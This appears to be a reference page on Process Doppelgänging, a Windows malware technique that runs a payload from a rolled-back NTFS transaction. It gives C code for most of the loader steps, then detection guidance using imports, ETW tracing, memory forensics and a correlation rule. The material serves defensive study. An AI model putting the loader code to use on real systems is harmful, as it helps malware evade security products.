Skip to content

Process Doppelgänging

Abuses NTFS transactional (TxF) file operations to run a process image from a transacted, never-committed file, leaving no malicious file on disk.

Process Doppelgänging, disclosed by enSilo at Black Hat EU 2017, weaponizes NTFS Transactions (TxF) — a Windows feature that lets a set of file operations either commit atomically or roll back. The attacker opens a transaction, writes malicious content into a file inside that transaction, and creates an image section from the transacted file handle. Crucially, the transaction is then rolled back: from the perspective of every other process and every security product, the file on disk was never modified. Yet the section — and the process created from it — still carries the malicious image.

Unlike process hollowing, no WriteProcessMemory, VirtualAllocEx, or thread context patching is needed against a victim. The malware leans on the documented but rarely exercised NtCreateProcessEx, which builds a process directly from a section object. Because the process is sourced from a transacted file that is rolled back, the resulting EPROCESS points at backing storage that no longer contains the malicious bytes, defeating tools that compare on-disk and in-memory images.

How it works

The flow is: create transaction, transact-write the payload PE, section the handle, roll back, then spin up the process and its parameters:

c
#include <windows.h>
#include <winternl.h>

// 1. Start an NTFS transaction and open a throwaway file within it
HANDLE hTx = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
HANDLE hFile = CreateFileTransactedW(L"C:\\Windows\\Temp\\benign.exe",
                                     GENERIC_WRITE | GENERIC_READ, 0, NULL,
                                     CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL,
                                     hTx, NULL, NULL);

// 2. Write the malicious PE into the TRANSACTED file
WriteFile(hFile, pPayloadPE, dwPayloadSize, &written, NULL);

// 3. Create an image section backed by the transacted file
HANDLE hSection = NULL;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
                PAGE_READONLY, SEC_IMAGE, hFile);

// 4. Roll back the transaction — the malicious file vanishes from disk
RollbackTransaction(hTx);
CloseHandle(hFile);

// 5. Create a process object directly from the section
HANDLE hProcess = NULL;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                  0, hSection, NULL, NULL, FALSE);

// 6. Build process parameters / PEB and start the initial thread via
//    RtlCreateProcessParametersEx + NtCreateThreadEx at the image entry point.

After step 6 the operator queries the new process's entry point from the section header, writes a RTL_USER_PROCESS_PARAMETERS block into its address space, and calls NtCreateThreadEx to begin execution.

Detection & analysis

Static analysis: The combination of CreateTransaction, CreateFileTransactedW/CreateFileTransactedA, RollbackTransaction, NtCreateSection with SEC_IMAGE, and the lower-level NtCreateProcessEx / NtCreateThreadEx imports is highly distinctive — legitimate applications almost never create a process from a section by hand. Resolution of these Nt*/Rtl* routines from ntdll by hash at runtime is itself a red flag.

Dynamic analysis: Trace TxF activity with the Microsoft-Windows-Kernel-File and KTM (Kernel Transaction Manager) ETW providers; a transaction that wraps a PE write and is then rolled back, around the same time a new process appears, is the core signal. In a debugger, breakpoint NtCreateProcessEx and inspect whether its section handle traces back to a transacted, now-rolled-back file. Memory forensics tools such as pe-sieve and Moneta flag the process whose primary image has no consistent backing file.

Detection rule hint: Correlate KTM transaction start/rollback events with a SEC_IMAGE section creation on a transacted file handle and a subsequent NtCreateProcessEx/NtCreateThreadEx from that section — when the originating file's on-disk content does not match the image mapped into the new process, treat it as Process Doppelgänging (MITRE T1055.013).

Votes

Comments(0)